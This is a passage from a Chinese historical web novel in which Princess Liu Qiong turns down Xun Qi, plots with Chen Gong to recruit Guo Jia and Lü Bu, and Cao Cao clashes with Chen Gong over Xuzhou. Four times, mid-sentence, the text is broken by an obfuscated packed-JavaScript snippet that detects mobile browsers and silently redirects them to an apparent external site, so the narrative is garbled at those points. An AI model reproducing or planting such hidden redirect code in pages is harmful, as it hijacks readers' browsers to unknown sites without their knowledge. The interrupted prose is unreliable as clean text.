刘琼并没有伸手接,因为她很清楚大汉的习俗,在上巳节送芍药,那就是定情的意思,她既然无意于他,自然不会给他希望,以免造成不必要的麻烦。 “可我只希望你能要了它。”而荀祈听到这委婉的拒绝后,却依旧坚持的把手里的芍药往前送了送。 “荀公子,你我不过数面之缘而已,连话也不曾说过几句,你又为何这般执着呢?”刘琼皱了皱眉,也是真的觉得疑惑,这才出言发问。 “初见你时,我承认是为容颜所吸引,又有应对家族责任之意,故而我与叔父言明想娶你,那日登门拜访,也是为了此事。” “只是不想,你却并非曹公亲女,那曹家大公子又与我讲,你们乃是青梅竹马,将来不会分开,我便知道他的意思了。”荀祈如是说。 “他什么意思?”刘琼有些意外。 既是意外于曹昂不肯与自己言明心意,但却又在荀祈面前宣示主权的行为,也是意外于,荀祈竟敢当着自己的面把此事说破。 “他心悦你,想要你,可是又不可能娶你为妻。”谁知他还有更大胆的,此话一出,刘琼的脸色越发奇怪了。 “你怎么知道他不可能娶我为妻?”她反问道。 “你这般在乎这话,是心里有他的缘故吗?”荀祈却更觉委屈。 “可纵然你心里有他,他心里也有你,他也不可能给你妻子的名分的。” “大公子虽是庶出,可他毕竟是曹公长子,上有曹公看重培养,下有丁夫人的殷切期望,他又如何能辜负,如何敢辜负?” “就算他极力抗争,最后也只会屈服在父母之命,媒妁之言的压力之下。” “你若执意跟他在一起,除了做妾根本没有第二条路可以走。” “可我不一样,我甚至可以立誓,今生只娶你一人,永远不纳妾娶小,若是爹娘不同意,那我就跪到他们同意为止。” “等我们成婚之后,我也不会拘着你,届时你想怎么样就怎么样,我都由着你。” 荀祈几乎是把曹昂和他之间的优缺点都分析透彻了,并拿出了自己所有的筹码,只为换她一句回应。 “……”,而刘琼听到他这番言语,说心里不受触动是不可能的,但是答应他,那是更不可能的。 因为荀祈说的这些东西,都是架构在她是曹昂的表妹,一个孤女的身份上的。 可是她知道,这些不过都是障眼法,她是谁,什么身份,她自己再清楚不过。 真要走到谈婚论嫁,只看门第身份那一步,那曹昂估计也只能给她做妾了。 可如果曹昂的父亲,也就是曹操的势力在将来膨胀到新的高度,那就另当别论。 至于荀祈,甚至都不会跟她产生什么交集。 毕竟,堂堂的皇家公主,能和一个士族旁支有什么牵扯呢? 当然了,这也不是绝对的,好比当年汉文帝的长女馆陶公主,除了驸马之外,还有数个男宠。 你还别说,荀祈这张脸还是挺好看的,周身的气质也很不凡,不比曹昂差。 想着想着,刘琼的思绪就发散开了。 可荀祈见她魂不守舍,又一直看着自己,还以为她听进去了,心下一喜,随后便试探性的把芍药花再次往前送了送。 “女公子,不知你意下如何?” “……”,也就是这一声呼唤,瞬间让刘琼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803509|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回了神,心下暗骂自己真是色迷心窍,差点忘了正事了。 她想以女儿身统御天下本就阻碍重重,如今又是东汉末年,乱世当头,更是千难万险,不仅每一步需要仔细谋划,就连筹码也不可轻动。 况且眼下她手里的筹码并不多,这婚事便是分量极重的一个,可不能浪费在无关紧要,不能影响大局的人身上。 但为了不得罪他,刘琼觉得,自己只能玩一回祸水东引了。 “我知道方才这些话,公子必是真心实意,我也十分感激你的这份盛情,可是这芍药我实在不能收。” “不管将来如何,我的心都已经给了他了,如果今日又应了你,那不就等于是辜负了你们两个人吗?” 刘琼没办法,只能把曹昂拉出来当挡箭牌,反正她也的确对曹昂有好感,也不算是全然在撒谎。 “女公子的意思是,即便你成不了他的妻,你也不愿意嫁给我吗?”荀祈不知内情,只觉得委屈极了。 “我不服气,我到底哪里比不上他?”他很难过,难过到质问起来。 “荀公子,请你相信,我绝不是在比较了你们的优劣之后做出的决定,这和家世才貌都无关,只是一个情字困住了我罢了。” 刘琼眼看他急了,顿感心虚不已,可谎言一旦开了头,为了不穿帮,那就必须圆上啊。 不得已,她也只能硬着头皮把这出戏继续演下去,做出一副情有独钟的模样来。 “……难道,难道我就一点机会都没有吗?”荀祈还是不死心。 “我也不知道,将来会如何,我是真的不知道。”刘琼摇了摇头。 这句话里倒是没有一丝欺瞒了,她的确不清楚未来的自己会怎么选择另一半,是权衡利弊,还是爱恨随心,这都很难说。 “那就是还有可能了?”荀祈听了这话,心里却升起一丝期盼。 “天色不早了,我该回去了。”刘琼没直接回应,而是寻了个由头跟他告辞,并朝着曹昂那边走去。 看着曹昂三步并作两步的朝她迎来,荀祈心里说不出是什么滋味,总之很不好受,握着那芍药花的力道也越发大起来。 好好的上巳节,偏生闹的不欢而散,不过看刘琼没接荀祈的芍药花,曹昂倒是高兴的很,不久后便带着她和曹节一起告辞离开。 荀祈则是自己返回了馆舍,但心里仍旧不肯服输,甚至找到了叔父荀彧,对其表明自己的坚持。 而荀彧听完荀祈的转述后,却出乎意料的没有立刻阻止。 今日早些时候,荀彧已经从陈宫那儿得知了刘琼的真实身份,其实对于侄儿被公主拒绝的事并不感到意外。 可让他感到奇怪的是,公主用的理由居然是情之一字。 如果是个普通的小姑娘,因为心有所属而拒绝其他追求者,荀彧绝不会感到奇怪。 可偏偏用这个理由的居然是万年公主,还是有陈宫辅佐,且被后者再三称赞过的万年公主,那就非常值得怀疑了。 如果不是公主昏了头,那就必然是对方故意为之。 思及此处,荀彧觉得自己也该配合一下,于是乎,他不仅没有阻止荀祈,反而出言鼓励了一番。 荀祈不知内情,只觉得得了自家叔父的支持,信心恢复不少。 34.推荐人才 自上巳节后,日子便过的快了,所有人都忙碌起来。 农夫们在春耕,女眷们做织工,曹昂和刘琼忙着制盐工场和纺织工场的经营,以及对众人的管理。 曹操这个兖州牧则忙着招贤纳士,且已经拉拢到了荀彧,当然,荀彧只是在明面上投奔了曹操,暗地里却早已向刘琼表了忠心。 三月末,四月初,又是去郊野工场盯着给女工们发钱粮的日子,恰好陈宫也有事禀报,就一路找了过来。 近来制盐工场已经开始盈利,曹昂那边脱不开身,就没陪刘琼过来,如今倒方便了她和陈宫的见面。 临近清明,自是花红柳绿,但郊野小溪边却并无多少人踏青游玩,方圆数里也不见烟火气。 这倒不是人口稀少之故,而是大汉的习俗如此。 在清明前的一到两天里,乃是寒食节,在此期间,家家户户都不开火做饭,而是吃着冷食。 眼看日头渐高,刘琼便邀陈宫到路边凉亭一叙,慧儿又从马车里拎出食盒,从中端出许多菜肴。 有甜滋滋的枣糕,切片装盘的酱肉,鲜嫩脆生的蔬菜,佐餐的桃酱和梅干,还有寒食节必不可少的麦粥。 这些东西早在节日前一晚就已做好放凉,现在正好食用。 慧儿将碗筷摆放完毕后,便对着他们行了一礼,接着很有眼力见儿的退出了凉亭,只在不远处为其把风。 “女公子,荀彧最近可是风光的很啊,曹操不仅授予他行军司马的官位,就连他那个未及弱冠的侄儿荀祈,也得以入州牧府任职。” “短短一月之内,不仅令其身居高位,还为其安排了府邸,又赐下侍从数人,如此厚待,可见曹操对荀彧的看重。” “女公子,我是担心……”陈宫看着桌上的饭菜,却并无食欲,反而忧心忡忡。 “你是担心,荀彧会因曹操对他的厚待,而三心二意,朝秦暮楚,甚至对我阳奉阴违。”不等他说完,刘琼就把后半句接了下去。 “女公子恕罪,实在是最近荀彧给曹操很是推荐了不少贤才,却对我等毫无表示,也难免不让人起疑啊。”陈宫出言自辩道。 “我知道陈伯父刚烈正直,又极有智慧,没有把握的事,断不会开口,想来的确发现了什么端倪,请试言之。” 刘琼并没有立刻表态,而是给足对方面子后,又抬了抬手,示意他继续。 碍于种种原因,刘琼这会儿并没有多少名利可以分给下属,但在提供情绪价值这方面,她可是从来不吝啬的,况且陈宫也的确担得起这个评价。 “女公子谬赞了,既如此,那我就说说自己的看法吧。”果不其然,陈宫听了这话后,嘴上依旧很谦虚,但脸上却非常受用,清了清嗓子后,便继续了。 “近来荀彧接连为曹操推荐了数位贤才,像是东郡东阿的程昱,淮南成德的刘晔,山阳昌邑的满宠,武城的吕虔,还有他自己的又一位侄儿荀攸……等等。” “近来曹操又大肆招贤纳士,引得泰山巨平的于禁带领数百人来投,在此期间,夏侯惇还推荐了一位猛士典韦。” “一时之间,真是文武齐备,使得曹操那厮也志得意满,好不威风。” “这些贤才本都是我汉家儿郎,可现在他们却只认曹操一个主公,却丝毫不知公主为陛下筹谋的苦心。” “如今闹成这种局面,荀彧他难辞其咎!” 陈宫细数最近投奔曹操的人,又点出了他们被蒙蔽的现象,以及荀彧在其中起到的导火线的作用。 总而言之一句话,就是对荀彧的行为非常不满。 诚然这番话夹杂着一些个人情绪在其中,但他说的绝大部分的也都是事实,所以刘琼并不生气。 “他推荐了这么多人给曹操,难道就一个也没推荐给我吗?”不过她也无意加入他声讨荀彧的阵营,反而问起了对方为自己做了什么。 “……不敢欺瞒女公子,他的确推荐了一个叫郭嘉的。” “可这人声名不显,且据荀彧所言,他刚加冠不久,今年才二十一岁啊。”陈宫闻言,有些不情不愿的说出了实情。 他脸上的不满几乎是肉眼可见的,显然是觉得荀彧在区别对待,给曹操推荐的都是贤才,可到他们这儿,就塞了一个不知底细的年轻人过来。 “哦?他果真推荐郭嘉给我吗?”陈宫不高兴,不愿意,可刘琼听到这个名字却是又惊又喜。 “是那个表字为奉孝的郭嘉吗?”她甚至再三朝他确定。 “女公子何以这般欣喜?莫非这个郭嘉真是什么大才不成?”陈宫有些疑惑。 “何止是大才,简直是天才,还是天妒英才的那种,有他一个,足以抵得过你方才举例的那许多人了。” 这是刘琼的真心话,也是史书记载的事实,若非郭嘉这位谋主英年早逝,曹操也不至于遭遇赤壁大败。 可即便他英年早逝,史书上同样有一席之地,且对他评价极高,称其为‘才策谋略,世之奇士’。 由此可见,他是何等的智谋无双了。 “天妒英才?女公子,这话似乎……”,陈宫虽不知郭嘉未来的成就,但也听出了刘琼话里的赞赏,就是这个描述让他感觉有点别扭。 “似乎有些不详是吧,可郭嘉天生体弱也是真的啊,偏生他还好酒。” “这两相叠加之下,身子哪里受得住?自然于寿数上也就有些妨碍了。”话到此处,刘琼不由得叹了一口气。 “女公子从未见过郭嘉,何以对他如此了解呢?”陈宫越听越觉得奇怪,就好像她未卜先知,已经预料到了未来似的。 “这个嘛……”,刘琼也有些卡壳,她自然不能说实话。 “是荀祈说的,这些日子常来找我,听他讲的,毕竟,郭嘉也是颍川人啊。”她急中生智道。 “是了,郭嘉也是颍川人,且荀彧又对他多有推崇。” “荀祈乃是荀彧的侄儿,又被其带在身边教导,知道一些内情也属常事。” 陈宫听到这儿,不由得喃喃自语着,眼里也闪过一丝了然。 “没错,就是这个样子。”刘琼眼看他自己把逻辑圆上了,总算松了一口气,连连点头附和道。 “对了,你还没有派人去接郭嘉吧。”她赶紧岔开话题,试图蒙混过关。 “还没。”陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803510|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫摇了摇头。 先前他对荀彧有意见,又怀疑郭嘉的能力,也就不曾有动作。 其实这也怪不了陈宫,现在大汉的选官制度基本传承自汉武帝当年立下的规矩,主要有三种。 第一种是以孝顺清廉为标准的察举制,第二种是皇帝亲自下令,特别征辟的在野名士,第三种便是直接从太学选才。 可无论是哪一种,对所选之人的年龄才学都有一定的限制,普通人到了四十岁还不曾被举孝廉做官的比比皆是。 荀彧也就罢了,到底他少有才名,又出身士族高门,如今虽没有到四十岁,但也快到而立之年,不至于让人觉得不稳重。 可郭嘉现在既无名声,又才加冠没多久,出身也并不显赫。 也就是说,他无论是才学名声,还是家族背景,乃至年龄大小,都不是特别符合这个时代的选官标准,也难怪陈宫一直迟疑,没有派人去接他了。 好在刘琼并不想细究这个,而是专注于把郭嘉捞到碗里来。 “那就拜托伯父你过几天派人去接他吧,多准备些东西带着,回来的时候晚几天到也没什么。” “左右郭嘉身子骨弱,大概是受不得太大颠簸的。”于是乎,她细细的嘱咐了一番。 “……”,还没见到人呢,公主就这般看重对方,陈宫心里有点酸酸的,觉得她太过重视那小子,对方的能力如何还两说呢。 “女公子,即便这个郭嘉真是个大才,可他也只能和我一样做文臣的事,我们现在最缺乏的是武将,还是坚定支持我们的武将。”于是乎,陈宫直接提起了其他。 “是啊,我们是非常缺少将帅之才的投效。”刘琼也很认同他的看法。 眼下她虽然已经通过女工们影响到她们投军的男性亲属了,但到底还是缺一个真正能为她而战,为其领兵的将军。 曹操又对兵权看的很紧,如今兖州内部能领兵的将军,基本都是他的心腹和亲信,想要插手进去,实在是太难了。 “这样吧,等过些日子郭嘉来了,你,我,荀彧和他一起商量看看怎么办吧。”刘琼一时半会儿也想不到什么好人选,只能暂时搁置此事。 “诺。”陈宫也想不到有哪个战将能投奔他们,只能点了点头,应下这个权宜之计。 谈话结束,刘琼招呼陈宫吃点东西,但在此期间,她看着陈宫,想着对方提出来的有关武将的问题,心里总觉得忘了什么很重要的事情。 但很可惜,直到陈宫告辞离开,她也没想起来,慧儿随她一起回了曹府,却看到走廊里到处都是捧着东西,行色匆匆的侍从们,不免心生好奇,便让慧儿上去问。 结果却得到了曹操已经派人去接自己的父亲曹嵩以及家小一起过来兖州的消息,现在侍从们就是在奉命准备曹嵩这位老太爷和他的家眷的住所和用具。 本来曹操有了地盘,又有了军队,想接老爹过来享福,这一点问题都没有的,可刘琼听到这个消息后,却突然意识到自己忘了什么了。 ‘曹操,曹嵩,徐州,兖州,陈宫,战将……’,这种种信息在她脑海中不断整合,终于锁定了自己要招揽的战将目标了。 35.大惊失色 却说曹操正欢天喜地的吩咐家里人准备迎接老爹曹嵩到兖州享清福。 可不成想,在几日后传来的不是老爹快到家的喜讯,而是老爹和一众家眷尽皆被贼人屠杀的噩耗。 原是曹嵩得了曹操的书信,收拾家中金银珠宝,书卷器物等贵重物品,带着一众家眷往兖州而来。 途经徐州之时,那徐州牧陶谦为交好兖州牧曹操,特地设宴款待,还特地派了部下张闿护送曹嵩过徐州到兖州。 张闿此人本是黄巾乱党出身,后主动投降于陶谦,但却不曾得到肥差,反而许多脏活累活都是他和部下去干。 护送曹嵩过徐州,去兖州时,路上又遇到了大雨,只能到一寺庙借宿,众人狼狈不堪。 张闿和其部下越想越气,又见曹嵩携带这许多财物,队伍中又多是老弱妇孺之流,不禁起了歹心,暗中商议后,决定夜半杀人夺宝。 曹嵩和一众家眷哪里敌得过这些乱军反贼,尽皆被杀。 张闿和部下得了财物后,又放火烧寺,毁尸灭迹,随后一众人骑马逃往淮南落草为寇。 好巧不巧,曹嵩遇害的地界乃是徐州和兖州交界地带的泰山郡,当时的泰山郡太守应劭早已得了曹操的书信,请他接应老父亲,事后必有重谢。 现在听说曹嵩老太爷一行人被杀,应劭当时整个人都麻了,这下别说重谢,怕是脑袋都要不保。 他的顶头上司,徐州牧陶谦更是不会为他求情,说不定还要把他当成替罪羊扔给曹操处置。 应劭思来想去,徐州和兖州都待不下去了,最后只得弃官而逃,带着家眷投奔冀州牧袁绍去了。 可应劭部下却也有心向曹操之人,冒死逃到兖州,将这消息报与曹操。 曹操听闻一家老小尽皆被杀,当即哭倒在地,悲愤不已,整个曹府更是一片白色,哭声不断。 他账下文武众臣听闻此事,亦是与他同仇敌忾,纷纷请求攻打陶谦,以雪父仇。 但曹操这次不止要攻打陶谦,更是想借此机会吞并徐州,故而他表现的更加悲痛,并说出了要涤荡徐州,屠城示威的言语。 武将们和曹操皆是一条心,觉得此事亦无不可,可文臣中的意见却有不同。 荀彧看出了曹操的心思,也知道屠戮百姓不对,但碍于现在的形势,并未出言阻止。 陈宫也明白曹操的心思,但他实在不忍心看到这等局面,还是单独找了个机会去见曹操,打算劝说。 曹府的厅堂里到处都是办丧事才用的白色,曹操和丁夫人,卞夫人,并一众儿女们身着孝服正在哭灵。 陈宫前来吊唁,见满堂悲切,更是心生不忍,便走到曹操跟前,示意想跟他谈谈。 曹操见他面露不忍,还以为是同情自己的遭遇,便带着陈宫来到了书房里,谁知道他一开口就给曹操气的够呛。 “明公,我听闻那徐州牧陶谦是个仁义君子,断不可能故意谋害明公之父,此等祸事皆因那张闿的贪心所致。” “眼下明公以此为由进攻徐州,已然不妥,如若再行屠城之举,恐会落个不仁不义的名声啊。”陈宫苦口婆心的劝说。 “他陶谦纵兵杀害吾父,还是仁义君子,我曹操为父报仇,反倒落个不仁不义,公台,你这话,实在是有失偏颇吧。” 曹操听到这儿,顿时就怒火中烧,但碍于陈宫是自己的白月光,还是强压着怒气,没有动手,只是嘴上怼了几句。 “明公,我与那陶谦素有交往,知他秉性纯良,绝不可能是杀害你父亲的幕后主使。” “而这屠城之举,本就有伤天和,又是为报私仇泄愤所致,更是难堵天下悠悠众口。” “陈宫一片苦心,皆为明公着想,还望明公鉴之啊。” 陈宫对着曹操行了一礼,又对其晓之以理,动之以情,意在打消对方的念头。 可曹操越听这心里的火气就越大,最后竟是猛的站了起来,一把揪住陈宫衣襟将其拽到跟前。 “够了!” “你口口声声说为我着想,那又可曾想过我的丧父之痛吗?” “没有,一点都没有,你只顾着给陶谦说情,替黎民百姓伤心,一点都没有关心过我的感受!” “是,你我因吕伯奢一家惨死之事有过芥蒂,私下不睦。” “可你别忘了,你现在还是兖州从事,而我是兖州牧,你是我的下属,理应称我一声,‘主公’。” “可自从我当了兖州牧,你对着我,从来都是一口一个‘明公’,一口一个‘明公’。” “明公是什么?那不过是官场上的泛泛之称,凡是地位尊崇,年龄较大的贤者都可以被如此称呼。” “可你却一直如此唤我,这是不是意味着,你心里根本就没我?” “还是说,你是身在我这儿,心却在别处?难道你还想着前任兖州牧刘岱吗?” “我告诉你,他死了,他早就死了,现在我才是兖州的主人,你合该听我的,顺从我,拥护我才对!” …… 曹操说到此处,简直气极了,狠狠的推了陈宫一把。 他踉跄着后退数步,直到撞上了墙壁才堪堪停下,后背处传来阵阵疼痛的同时,脚腕也疼了起来,原是方才不小心崴脚了,最后更是站立不住,瘫倒在地,面露痛楚。 “……”,曹操见状,下意识的想伸手去扶他,可想起刚才他那副样子,又硬生生的止住了自己的动作。 “陶谦杀害吾父,为父报仇,天经地义,此次征伐徐州,屠戮城池之事,势在必行,你再无需多言。” “我已吩咐荀彧,程昱等人领军三万守住兖州,其他军队尽皆随行。” “至于你,也不必随军出征了,便留在家里,好好反省,等我攻破徐州,回转之后,再做打算!” 曹操心一横,扔下这几句话后便要拂袖而去。 “明公!” 陈宫却又呼唤了一声,其音调悲切万分,惹人心疼不已。 “……”,曹操闻言,脚步一顿,可到底也没回头,而是咬紧牙关,快步离去,仿佛生怕自己慢一点,就要忍不住回去扶他。 等他走了好一会儿,陈宫这才慢慢的扶着墙站起来,他本想去见见刘琼,看她能不能设法劝劝曹操。 可是一想起刚才曹操质问自己,是不是身在这里,心却在别处,他又心虚的不行,生怕现在去见刘琼会引起曹操的怀疑,给她带来大麻烦。 可是眼下若不请公主出面,陈宫也实在想不到有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808907|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么人能让曹操冷静下来。 就在他左右为难之际,身着一身孝服的曹昂走了进来,手里还拿着药,扶他坐下,又替他敷药,言语中也带着些打圆场的意思。 陈宫和曹操一同离去,却只有曹操自己回来,还怒气冲冲的,曹昂这个当儿子的自然猜到他们两人之间必是出了什么事,又见父亲曹操眉眼间有些担忧,便主动出言询问。 曹操其实心里也并不想和陈宫闹的那么僵的,方才也实在是情绪上头,现在有心想找个台阶下,正巧曹昂提了,他也就半推半就的让他带着伤药过来看看。 而陈宫见了面带关切之色的曹昂,想着这少年与他的父亲的不同,便试图请他去劝说。 曹昂听陈宫讲述了内情,心下果然动摇。 他也是不赞成屠杀徐州的平民百姓的,可祖父实在死的冤枉,这血海深仇又不能不报。 而他作为孙儿更是不好开口违抗父亲曹操的意志,否则世人必会骂他不孝。 陈宫见状趁机游说他不如去跟刘琼商量一番,说不得由她这个做公主的出面,曹操能够收敛一二,至少不屠城啊。 曹昂想着,若真能如此,也是两全其美,他们曹家的仇报了,徐州的无辜百姓也不必受牵连,于是便点头答应下来。 陈宫见状,总是松了一口气,曹昂给他上了药,又亲自送他上马车回家。 本以为事情可以有转机,可谁知陈宫在家里等啊等,直到曹操带兵出征的消息都传来了,也没等来想要的结果,自然心急如焚,加之最近压力太大,不堪重负,竟是病倒了。 也就是在这种时候,刘琼和曹昂以探病为由来看望了他。 在设法支开了曹昂之后,刘琼单独会见了陈宫,他半靠在床榻上,身上还盖着被子,显得很是疲惫,但还是迫不及待的追问。 “女公子,徐州,徐州的百姓……” “没事的,他们都会没事的,我跟你保证,陶谦已经请到救兵了。”刘琼坐到床榻边缘,看着他给予了肯定的回答。 “你知道当初在虎牢关大战吕布的刘关张三人吗?听说他们已经受到邀请前往徐州了。” “其中三人中的刘备又和公孙瓒交好,必会向其借兵援助徐州,加上陶谦麾下的兵马,无论如何,也能抵抗一阵子的。”刘琼拍了拍陈宫的手,示意他暂且宽心。 “那就好,那就好啊。”陈宫听到这儿,总算松了一口气。 “徐州之事虽然棘手,但我觉得,这也是我们的机会,伯父,你先前不是说我们缺少战将的效忠吗?眼下我倒有几个目标。”刘琼见状,话头一转说起了其他。 “女公子说的莫非是那救援徐州的刘关张三人吗?”陈宫闻言,不由得猜测道。 “当然不是。”刘琼摇了摇头,“他们既去救援徐州,那便是和曹操对立的存在,不可能融入兖州。” “而我要做的,是在获得无双战将的同时,又能留住在兖州的基业。”她正色道。 “那不知女公子所说的无双战将,是什么人?”陈宫听到这儿,好奇的追问道。 “这人你也认识啊,所谓‘人中吕布,马中赤兔’,伯父以为如何?”刘琼挑了挑眉。 “什么?!”陈宫大惊失色。 36.痴心一片 “女公子,就先不提我们如何能越过曹操和吕布取得联系,就只看此人先前的所作所为,那也万万不可招入麾下啊。” 听到刘琼的打算后,陈宫那是一个鲤鱼打挺就从床上蹦了起来,吓的他病都好了一半,但这不重要,重要的是他认为此举不可行。 “吕布此人贪杯好色,又见利忘义,为一赤兔马和一貂蝉便连杀两位义父,后又依附于司徒王允。” “可在西凉众人逼杀王允时,他却丢下对方仓皇出逃。” “离开长安之后,吕布又先投袁术,后依袁绍,弃张扬,投张邈……屡屡背叛盟友,被其驱赶流浪,仿若丧家之犬。” “此人虽有万夫不当之勇,但却德行有亏,品性低劣,实在不宜招揽,否则恐会养虎为患啊。” 陈宫身子前倾,十分急切的列举着吕布的诸多缺点,试图打消刘琼的危险想法。 “正因为他是丧家之犬,你我才要收容于他。” “俗话说,‘锦上添花易,雪中送炭难’,如今谁都不肯接纳他,偏我们向他伸出援手,那吕布岂会不感恩戴德?” “至于说德行有亏,品性低劣嘛,无非是为着丁原董卓之死。” “可这两人名为汉臣,实为汉贼,吕布杀他们,虽是有违父子之道,但却无损君臣之义,甚至可称是为国除害。” “至于贪杯好色,更是不值一提,况且我巴不得他有这些缺点,如此我们便能对症下药,将其握在手里,为我所用。” “伯父刚才不也认可吕布的勇武吗?”刘琼有理有据辩驳了一番后,又反问道。 “他虽勇武,但却是匹夫之勇,这……”陈宫还是不太赞同。 “正因是匹夫之勇,所以才好控制,他只要做一把锋利的刀刃,任人驱使即可。” “至于其他的,无论是想法,还是心思,他都没必要拥有,因为后者是持刀者,也就是你我,才需要考虑的。” 刘琼已经说的很明白了,就是打算把吕布招揽过来当枪使,还要把他训练成,指哪儿打哪儿的那种。 而吕布需要做的就一件事,听话,但现在还有一个关键问题没解决。 “可是吕布又如何会听我等的安排呢?退一万步,就算他听了我们的,也难保日后他不会反水啊。”陈宫还是忧心忡忡。 “要他听话,只需擒下他后,再表明身份招揽,恩威并施之下,不怕他不从我等。” “倘若日后他果真反水,那我便借曹操之手,将其除掉,左右这次我看上的战将也并非只他一人。”刘琼抬了抬下巴,依旧冷静。 “哦?听女公子的意思,还有其他人选?”陈宫连忙追问。 “吕布麾下有两员战将,一为张辽,一为高顺,皆为他昔日旧部,虽名声不显,但确为猛将无疑。” “将来若不能得吕布之忠心而用之,那得到张辽和高顺的投效也不算亏。” 刘琼的小算盘打的啪啪作响,把吕布三人的未来是安排的明明白白,清清楚楚。 “至于如何擒下吕布,这就要看伯父你的了,我相信,你一定有办法的。”她给了他一个眼神。 “女公子,我……”,陈宫眉头紧皱,显得觉得这事儿很难办。 “曹操给荀彧程昱等人三万兵马护住兖州,但另外特别秘调五千人守在东郡,由曹仁和曹昂一起掌管,外人并不知晓此事。” “伯父,接下来该怎么做,就不用我多说了吧。”刘琼为了助他一臂之力,又透露了一个内部情报。 “女公子放心吧,我心中有数了。”陈宫听到这儿,心下安定不少。 他根据现有情报和吕布的贪婪特质,迅速在脑中编织起对付此人的罗网,誓要抓住这条活蹦乱跳的大鱼不可。 “伯父现在有病在身,倒也不必太过心急。” “左右出征徐州的事,没个把月结束不了,只要在曹操回来之前擒下吕布即可。”刘琼还贴心的给了他较为宽裕的谋划时间。 “不,此事需速战速决,我们晚一天擒下吕布,徐州的百姓便会在曹操的屠刀下多暴露一天,时不我待啊。”岂料陈宫却摇了摇头,一脸严肃道。 “可你的病……”刘琼面带忧虑。 “无妨,只是小疾,不碍事的。”他摆了摆手。 “那一切就拜托伯父了。”见他如此,刘琼起身站起,十分郑重的对着他行了一礼。 虽然心疼他拖着病体还要为她筹谋,可眼下的情况也的确像他说的那样,时不我待,不得不做了啊。 刘琼现在唯一能给他的,也就只有绝对的信任与尊重了。 “女公子放心吧。”陈宫心里也对此非常受用,但还是秉承着尊卑有别的规矩,微微侧身,只受了她半礼。 刘琼本来还想问问郭嘉的近况,但看陈宫现在这个样子,又没有开口。 不管怎么说,陈宫如今是带着病还为她劳心劳力的筹划着未来,就算如今事还未成,没有功劳可拿,但这苦劳也是实打实的。 她也实在不好在他面前屡屡提及郭嘉,特别是两人还同为谋士的情况下。 对下属们厚此薄彼的太明显了,可不是一个合格的君主会做的事,刘琼才不会犯这样的低级错误。 所以接下来她对陈宫嘘寒问暖,却并未提及郭嘉。 但郭嘉的近况也不能不过问,从陈宫这儿离开后,刘琼便趁机游说曹昂,以查问城池军队细节为由,去了荀彧的府邸拜访。 彼时荀祈也在,见她来了,心下欢喜的很,可对着曹昂,就没那么热情了,只秉承规矩给他见礼,并引他去见了荀彧。 刘琼是女子,明面上的身份又是借住在曹府的孤女,自然不好跟曹昂进去看军事机密,荀彧也不可能当着曹昂的面跟她攀谈什么。 两人只对视一眼,就选定了荀祈作为中间人,荀彧主动开口让荀祈带她去花园里逛逛。 曹昂见状自然不愿,但荀彧却寻了借口将他请到了书房。 而此时,刘琼和荀祈漫步在花园里,她正想着该怎么才能从荀祈这儿套套话时,他倒是先开口了。 “多日不见,女公子近来可好?”他问道。 “我倒还好,就是最近总是细雨连绵,惹得人有些心烦罢了,你呢?还好吗?”刘琼还以为是普通的寒暄,便随口问了一句。 “不太好。”出乎意料的,他竟是摇了摇头,“我也有些心烦意乱,但却不是天气所致,而是生了病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816992|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”他如是说。 “你病了?什么病?吃药了吗?”刘琼有些惊讶,看他不像有病的样子,但还是出于礼貌追问道。 “可我这个病,并无药可医,只因它并非身上的病痛,而是这里感觉很难受。”说着话,他抬起右手拍了拍自己的胸口。 “……”,这一刻,刘琼似乎明白了什么,但她却装起糊涂来了。 “那看来荀公子是得了心病,更该多吃几副药了。” “毕竟,这心多重要啊,可不能随便敷衍了事的,还是多看几个医师吧,说不定他们会开出合适的药方。”她一语双关,试图开解对方。 “就算吃再多的药,看再多的医师,我这病也好不了的。” “原是我知道,我得的这病,是因女公子才有的。” “是心病,也是相思病。” 荀祈却不容她蒙混过关,直接戳破了那层窗户纸。 “……”,刘琼愣了一下,随即摇了摇头。 